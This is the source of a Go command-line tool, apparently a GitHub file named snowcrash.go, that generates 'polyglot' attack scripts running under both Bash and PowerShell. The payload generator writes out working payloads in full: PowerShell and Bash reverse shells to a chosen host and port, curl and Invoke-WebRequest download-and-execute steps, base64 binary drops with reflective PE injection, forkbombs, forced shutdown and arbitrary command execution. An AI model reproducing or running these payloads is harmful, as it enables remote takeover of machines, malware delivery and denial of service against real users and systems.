-
Notifications
You must be signed in to change notification settings - Fork 41
/
snowcrash.go
314 lines (278 loc) · 10 KB
/
snowcrash.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
package main
import (
"github.com/akamensky/argparse"
"os"
"fmt"
"github.com/fatih/color"
"github.com/olekukonko/tablewriter"
"github.com/chzyer/readline"
"github.com/common-nighthawk/go-figure"
"net"
"io"
"strings"
"encoding/base64"
"strconv"
"bufio"
"reflect"
"math/rand"
"github.com/gobuffalo/packr"
"time"
)
func print_banner(){
banner := figure.NewFigure("SNOWCRASH", "", true)
color.Set(color.Bold)
banner.Print()
color.Unset()
fmt.Println("")
fmt.Println(cyan("\t -- A polyglot payload generator --"))
fmt.Println("")
}
func list(){
actions_data := [][]string{
[]string{"reverse_shell", "Spawn a reverse shell"},
[]string{"cmd_exec", "Execute a command"},
[]string{"forkbomb", "Run a forkbomb"},
[]string{"memexec", "Embed and execute a binary"},
[]string{"download_exec", "Download and execute a file"},
[]string{"shutdown", "Shutdown computer"},
[]string{"custom", "Use custom Bash and Powershell scripts"},
}
actions_table := tablewriter.NewWriter(os.Stdout)
actions_table.SetAutoWrapText(false)
actions_table.SetHeader([]string{"NAME", "DESCRIPTION"})
actions_table.SetColumnColor(
tablewriter.Colors{tablewriter.FgGreenColor},
tablewriter.Colors{},
)
for v := range actions_data {
actions_table.Append(actions_data[v])
}
fmt.Println("")
fmt.Println("[*] Payloads: ")
actions_table.Render()
fmt.Println("")
}
var red = color.New(color.FgRed).SprintFunc()
var green = color.New(color.FgGreen).SprintFunc()
var cyan = color.New(color.FgBlue).SprintFunc()
var bold = color.New(color.Bold).SprintFunc()
func print_good(msg string){
fmt.Printf("%s %s", green("[+]"), msg)
}
func print_info(msg string){
fmt.Println("[*]", msg)
}
func print_error(msg string){
fmt.Printf("%s %s", red("[x]"), msg)
}
func print_header(message string){
color.Set(color.Bold)
fmt.Printf("-- %s --", message)
color.Unset()
fmt.Println("")
}
func contains(s interface{}, elem interface{}) bool {
arrV := reflect.ValueOf(s)
if arrV.Kind() == reflect.Slice {
for i := 0; i < arrV.Len(); i++ {
if arrV.Index(i).Interface() == elem {
return true
}
}
}
return false
}
func str_to_int(string_integer string) int {
//i, _ := strconv.ParseInt(string_integer, 10, 32)
i, _ := strconv.Atoi(string_integer)
return i
}
func interval_to_seconds(interval string) int64{
period_letter := string(interval[len(interval)-1])
intr := string(interval[:len(interval)-1]) //Check this
i, _ := strconv.ParseInt(intr, 10, 64)
switch period_letter{
case "s":
return i
case "m":
return i*60
case "h":
return i*3600
}
return i
}
func input(name string, message string, default_value string) string{
if default_value == ""{
default_value = "none"
}
final_prompt := fmt.Sprintf("%s %s (default: %s): ", red(name), message, default_value)
p, _ := readline.NewEx(&readline.Config{
Prompt: final_prompt,
InterruptPrompt: "^C",
})
line, _ := p.Readline()
if (len(line) == 0 || contains([]string{"y", "yes"}, line)){
return default_value
} else {
return line
}
}
func write_to_file(filename string, data string) error {
file, err := os.Create(filename)
exit_on_error("[FILE CREATION ERROR]", err)
defer file.Close()
_, err = io.WriteString(file, data)
exit_on_error("[FILE WRITE ERROR]", err)
return file.Sync()
}
func read_file(filename string) string {
contents := ""
file, err := os.Open(filename)
exit_on_error("{FILE READ ERROR}", err)
defer file.Close()
scanner := bufio.NewScanner(file)
for scanner.Scan(){
contents += scanner.Text()
}
return contents
}
func exit_on_error(message string, err error){
if err != nil{
fmt.Printf("%s %v", red(message+":"), err)
os.Exit(0)
}
}
func base64_decode(str string) string {
raw, _ := base64.StdEncoding.DecodeString(str)
return fmt.Sprintf("%s", raw)
}
func base64_encode(str string) string {
return base64.StdEncoding.EncodeToString([]byte(str))
}
func get_template(template_name string) string{
template, err := packr.NewBox("./").FindString(template_name)
exit_on_error("[PACKR ERROR]", err)
return template
}
func get_local_ip() string {
conn, _ := net.Dial("udp", "8.8.8.8:80")
defer conn.Close()
ip := conn.LocalAddr().(*net.UDPAddr).IP
return fmt.Sprintf("%d.%d.%d.%d", ip[0], ip[1], ip[2], ip[3])
}
func random_string(n int) string{
rand.Seed(time.Now().UnixNano())
var letters = []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ")
b := make([]rune, n)
for i := range b {
b[i] = letters[rand.Intn(len(letters))]
}
return string(b)
}
func generate_payload(payload_name string, sleep_interval string,
out string, stdout bool){
available_payloads := []string{"cmd_exec", "reverse_shell", "custom",
"download_exec", "memexec", "shutdown", "forkbomb"}
if (! contains(available_payloads, payload_name)){
print_error("No such payload: "+payload_name)
os.Exit(0)
}
polyglot_template := get_template("templates/polyglot_template")
polyglot_template = strings.Replace(polyglot_template, "SLEEP_INTERVAL", fmt.Sprintf("%d", interval_to_seconds(sleep_interval)), -1)
powershell := ""
bash := ""
print_header("PAYLOAD CUSTOMIZATION")
switch payload_name{
case "reverse_shell":
powershell = `$client = New-Object System.Net.Sockets.TCPClient("HOST", PORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
`
bash = `bash -i >& /dev/tcp/HOST/PORT 0>&1`
host := input("[RHOST]", "Host to connect to", get_local_ip())
port := input("[RPORT]", "Port to connect to", "4444")
bash = strings.Replace(bash, "HOST", host, -1)
bash = strings.Replace(bash, "PORT", port, -1)
powershell = strings.Replace(powershell, "HOST", host, -1)
powershell = strings.Replace(powershell, "PORT", port, -1)
case "cmd_exec":
powershell = `iex COMMAND`
bash = `COMMAND`
command := input("[COMMAND]", "Command to execute", "")
bash = strings.Replace(bash, "COMMAND", command, -1)
powershell = strings.Replace(powershell, "COMMAND", command, -1)
case "memexec":
elf_file_name := input("[LINUX BINARY]", "Binary to embed end execute on Linux machine", "")
elf_args := input("[ELF BINARY ARGS]", "Arguments to pass to the Linux binary", "")
exe_file_name := input("[WINDOWS BINARY]", "Binary to embed end execute on Windows machine", "")
exe_args := input("[WINDOWS BINARY ARGS]", "Arguments to pass to the Windows binary", "")
encoded_elf_file := base64_encode(read_file(elf_file_name))
encoded_exe_file := base64_encode(read_file(exe_file_name))
tmp := random_string(4)
bash = fmt.Sprintf(`
echo "%s"|base64 -d| > /tmp/%s; chmod +x /tmp/%s; /tmp/./%s %s
`, encoded_elf_file, tmp, tmp, tmp, elf_args)
powershell = fmt.Sprintf(`
$EncodedFile = "%s"
%s
$DecodedFileByteArray = [System.Convert]::FromBase64String($EncodedFile)
Invoke-ReflectivePEInjection -PEBytes $DecodedFileByteArray -ExeArgs %s
`, encoded_exe_file, get_template("templates/pe_inject"), exe_args)
case "custom":
powershell_script := input("[POWERSHELL SCRIPT]", "Path to the powershell script", "")
bash_script := input("[BASH SCRIPT]", "Path to the bash script", "")
powershell = read_file(powershell_script)
bash = read_file(bash_script)
case "forkbomb":
powershell = `Do {
start powershell -windowstyle hidden { start-process powershell.exe -WindowStyle hidden
}
}
Until ($x -eq $true)`
bash = `:(){:|: &};:`
print_info("This payload has no options")
case "download_exec":
url := input("[URL]", "URL address of the file to download", "")
tmp := random_string(4)
bash = fmt.Sprintf(`
curl %s > %s; chmod +x %s; ./%s
`, url, tmp, tmp, tmp)
powershell = fmt.Sprintf(`
$url = %s
$out = %s
Invoke-WebRequest -Uri $url -OutFile $out
Start-Process -Filepath "$out"
`, url, tmp+".exe")
case "shutdown":
powershell = `Stop-Computer -ComputerName localhost`
bash = `shutdown`
print_info("This payload has no options")
}
polyglot_template = strings.Replace(polyglot_template, "X_POWERSHELL_SCRIPT_X", powershell, -1)
polyglot_template = strings.Replace(polyglot_template, "X_BASH_SCRIPT_X", bash, -1)
if ! stdout{
write_to_file(out, polyglot_template)
fmt.Println("")
print_good("Saved generated payload in file: "+ bold(out))
} else {
fmt.Println(polyglot_template)
}
}
func main(){
print_banner()
parser := argparse.NewParser("snowcrash", "")
var OUT *string = parser.String("o", "out", &argparse.Options{Required: false, Default: "polyglot_script", Help: "Name of the generated polyglot file"})
var LIST *bool = parser.Flag("l", "list", &argparse.Options{Required: false, Help: "List available payloads"})
var PAYLOAD *string = parser.String("p", "payload", &argparse.Options{Required: false, Help: "Name of the payload to use"})
var SLEEP *string = parser.String("s", "sleep", &argparse.Options{Required: false, Default: "0s", Help: "Sleep given interval before executing the payload"})
var STDOUT *bool = parser.Flag("", "stdout", &argparse.Options{Required: false, Help: "Print payload to STDOUT instead of writing to file"})
_ = OUT
_ = LIST
_ = PAYLOAD
commandline_args := os.Args
err := parser.Parse(commandline_args)
exit_on_error("[PARSER ERROR]", err)
if (*LIST){
list()
os.Exit(0)
}
generate_payload(*PAYLOAD, *SLEEP, *OUT, *STDOUT)
}